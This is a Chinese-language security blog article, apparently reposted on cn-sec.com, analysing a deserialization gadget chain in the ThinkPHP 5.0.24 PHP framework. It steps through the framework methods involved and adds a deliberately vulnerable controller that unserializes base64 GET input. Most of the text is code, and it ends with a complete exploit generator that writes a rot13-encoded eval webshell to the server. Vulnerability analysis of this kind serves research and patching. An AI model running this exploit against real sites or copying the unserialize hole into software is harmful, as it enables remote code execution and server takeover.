ThinkPHP 5.0.24 反序列化漏洞分析

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2023年5月20日18:17:11评论38 views字数 9361阅读31分12秒阅读模式

这个漏洞是框架的反序列化漏洞，只有二次开发实现了反序列化才可以利用，所以先构造漏洞代码，在/application/index/controller/Index.php中添加如下代码

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class Index
{
    public function index()
    {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_GET['a']));
    }
}

Thinkphp 5.0.x反序列化最后触发RCE，要调用的Request类__call方法，所以直接找可用的__call方法

这里选择了Output类(/thinkphp/library/think/console/Output.php)，因为其中的block可以当作跳板

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public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args);
    }

    if ($this->handle && method_exists($this->handle, $method)) {
        return call_user_func_array([$this->handle, $method], $args);
    } else {
        throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

从头开始分析，首先全局搜索__destruct，选择Windows类(/thinkphp/library/think/process/pipes/Windows.php)，代码如下

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public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

跟进removeFiles

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private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

file_exists可以触发__tostring，所以寻找__tostring，找到了Model类(/thinkphp/library/think/Model.php)

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public function __toString()
{
    return $this->toJson();
}

跟进toJson

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public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

跟进toArray

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public function toArray()
{
    $item    = [];
    $visible = [];
    $hidden  = [];

    $data = array_merge($this->data, $this->relation);
    
    ...
    // 追加属性（必须定义获取器）
    if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            if (is_array($name)) {
                ...
            } elseif (strpos($name, '.')) {
                ...
            } else {
                $relation = Loader::parseName($name, 1, false);
                if (method_exists($this, $relation)) {
                    $modelRelation = $this->$relation();
                    $value         = $this->getRelationData($modelRelation);

                    if (method_exists($modelRelation, 'getBindAttr')) {
                        $bindAttr = $modelRelation->getBindAttr();
                        if ($bindAttr) {
                            foreach ($bindAttr as $key => $attr) {
                                $key = is_numeric($key) ? $attr : $key;
                                if (isset($this->data[$key])) {
                                    throw new Exception('bind attr has exists:' . $key);
                                } else {
                                    $item[$key] = $value ? $value->getAttr($attr) : null;
                                }
                            }
                            continue;
                        }
                    }
                    $item[$name] = $value;
                } else {
                    $item[$name] = $this->getAttr($name);
                }
            }
        }
    }
    return !empty($item) ? $item : [];
}

由于我们的目的是执行__call，所以要找函数调用的点，在toArray里有三处

ThinkPHP 5.0.24 反序列化漏洞分析

然后看这三处哪里可控，经调试第三处可控，需要满足的条件是

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if (!empty($this->append))
if (method_exists($this, $relation))
if (method_exists($modelRelation, 'getBindAttr'))
if ($bindAttr)

且不满足

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if (is_array($name))
elseif (strpos($name, '.'))
if (isset($this->data[$key]))

才能够进入到第三处，首先需要满足$relation是Model内的方法，然后经过如下赋值

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$modelRelation = $this->$relation();
$value         = $this->getRelationData($modelRelation);

需要满足$modelRelation可控，经过查找，可以将$modelRelation设为getError

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public function getError()
{
    return $this->error;
}

然后跟进getRelationDate

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protected function getRelationData(Relation $modelRelation)
{
    if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
        $value = $this->parent;
    } else {
        // 首先获取关联数据
        if (method_exists($modelRelation, 'getRelation')) {
            $value = $modelRelation->getRelation();
        } else {
            throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
        }
    }
    return $value;
}

这里需要$modelRelation为Relation类型。全局查找getRelation方法且为Relation类型的类，找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)

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public function getRelation($subRelation = '', $closure = null)
{
    // 执行关联定义方法
    $localKey = $this->localKey;
    if ($closure) {
        call_user_func_array($closure, [ & $this->query]);
    }
    // 判断关联类型执行查询
    $relationModel = $this->query
        ->removeWhereField($this->foreignKey)
        ->where($this->foreignKey, $this->parent->$localKey)
        ->relation($subRelation)
        ->find();

    if ($relationModel) {
        $relationModel->setParent(clone $this->parent);
    }

    return $relationModel;
}

可以看到这些条件都是满足的，然后看getBindAttr，发现在OneToOne类中是可控的

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public function getBindAttr()
{
    return $this->bindAttr;
}

所以代码执行到

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$item[$key] = $value ? $value->getAttr($attr) : null;

就可以调用Output类的__call方法，调用payload如下

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namespace think{
    use thinkconsoleOutput;
    use thinkmodelrelationHasOne;
    abstract class Model{
        protected $relation;
        protected $append = ["1"];
        protected $error;
        protected $parent;
        public function __construct()
        {
            $this->parent = new Output();
            $this->relation = ["getError"=>"getError"];
            $this->append = ["getError"=>"getError"];
            $this->error = new HasOne();
            $this->data = ["key"=>"ls"]; ;
        }
    }
}

namespace thinkdb{
    use thinkconsoleOutput;
    class Query
    {
        protected $model;
        public function __construct()
        {
            $this->model = new Output();
        }
    }
}

namespace thinkmodelrelation{
    use thinkdbQuery;
    use thinkmodelRelation;
    abstract class OneToOne extends Relation
    {
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
        }
    }

    class HasOne extends OneToOne
    {
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
            $this->query = new Query();
            $this->bindAttr = ["1"=>"1"];
        }
    }
}

然后接着看Output，在__call中调用block

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protected function block($style, $message)
{
    $this->writeln("<{$style}>{$message}</$style>");
}

继续writeln

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public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
    $this->write($messages, true, $type);
}

write

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public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
    $this->handle->write($messages, $newline, $type);
}

而$this->handle是可控的，继续全局搜索write，寻找可控的点，找到了/thinkphp/library/think/session/driver/Memcached.php

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public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

这样就有找到了一个跳板set，然后继续找可以写入文件的方式，找到了/thinkphp/library/think/cache/driver/File.php

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public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

此处$filename可控，跟进getCacheKey

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protected function getCacheKey($name, $auto = false)
{
    $name = md5($name);
    if ($this->options['cache_subdir']) {
        // 使用子目录
        $name = substr($name, 0, 2) . DS . substr($name, 2);
    }
    if ($this->options['prefix']) {
        $name = $this->options['prefix'] . DS . $name;
    }
    $filename = $this->options['path'] . $name . '.php';
    $dir      = dirname($filename);

    if ($auto && !is_dir($dir)) {
        mkdir($dir, 0755, true);
    }
    return $filename;
}

回来继续看$data，从传入的$value获取，但是在之前writeln处已经传入了true，而且不可控，只能继续往下看，可以看到当成功写入文件时，会调用setTagItem方法，跟进

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protected function setTagItem($name)
{
    if ($this->tag) {
        $key       = 'tag_' . md5($this->tag);
        $this->tag = null;
        if ($this->has($key)) {
            $value   = explode(',', $this->get($key));
            $value[] = $name;
            $value   = implode(',', array_unique($value));
        } else {
            $value = $name;
        }
        $this->set($key, $value, 0);
    }
}

又调用了一次set，且此处两个参数都是可控的，所以可以在文件名处搞事情，通过编码然后将文件名写入shell中

所以最终利用exp如下

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<?php
namespace thinkprocesspipes;
use thinkmodelPivot;
class Pipes{

}

class Windows extends Pipes{
	private $files = [];

	function __construct(){
		$this->files = [new Pivot()];
	}
}

namespace thinkmodel;#Relation
use thinkdbQuery;
abstract class Relation{
	protected $selfRelation;
	protected $query;
	function __construct(){
		$this->selfRelation = false;
		$this->query = new Query();#class Query
	}
}

namespace thinkmodelrelation;#OneToOne HasOne
use thinkmodelRelation;
abstract class OneToOne extends Relation{
	function __construct(){
		parent::__construct();
	}

}
class HasOne extends OneToOne{
	protected $bindAttr = [];
	function __construct(){
		parent::__construct();
		$this->bindAttr = ["no","123"];
	}
}

namespace thinkconsole;#Output
use thinksessiondriverMemcached;
class Output{
	private $handle = null;
	protected $styles = [];
	function __construct(){
		$this->handle = new Memcached();//目的调用其write()
		$this->styles = ['getAttr'];
	}
}

namespace think;#Model
use thinkmodelrelationHasOne;
use thinkconsoleOutput;
use thinkdbQuery;
abstract class Model{
	protected $append = [];
	protected $error;
	public $parent;#修改处
	protected $selfRelation;
	protected $query;
	protected $aaaaa;

	function __construct(){
		$this->parent = new Output();#Output对象,目的是调用__call()
		$this->append = ['getError'];
		$this->error = new HasOne();//Relation子类,且有getBindAttr()
		$this->selfRelation = false;//isSelfRelation()
		$this->query = new Query();

	}
}

namespace thinkdb;#Query
use thinkconsoleOutput;
class Query{
	protected $model;
	function __construct(){
		$this->model = new Output();
	}
}

namespace thinksessiondriver;#Memcached
use thinkcachedriverFile;
class Memcached{
	protected $handler = null;
	function __construct(){
		$this->handler = new File();//目的调用File->set()
	}
}
namespace thinkcachedriver;#File
class File{
	protected $options = [];
	protected $tag;
    function __construct(){
    	$this->options = [
		'expire'        => 0,
		'cache_subdir'  => false,
		'prefix'        => '',
		'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
		'data_compress' => false,
		];
		$this->tag = true;
    }
}

namespace thinkmodel;
use thinkModel;
class Pivot extends Model{


}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));

注意这个洞在windows下是复现不了的，因为windows对文件名有限制，会写入失败

参考链接：

https://www.anquanke.com/post/id/196364

http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/

原文始发于微信公众号（白帽兔）：ThinkPHP 5.0.24 反序列化漏洞分析

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  • 本文由 发表于 2023年5月20日18:17:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   ThinkPHP 5.0.24 反序列化漏洞分析https://cn-sec.com/archives/1749955.html

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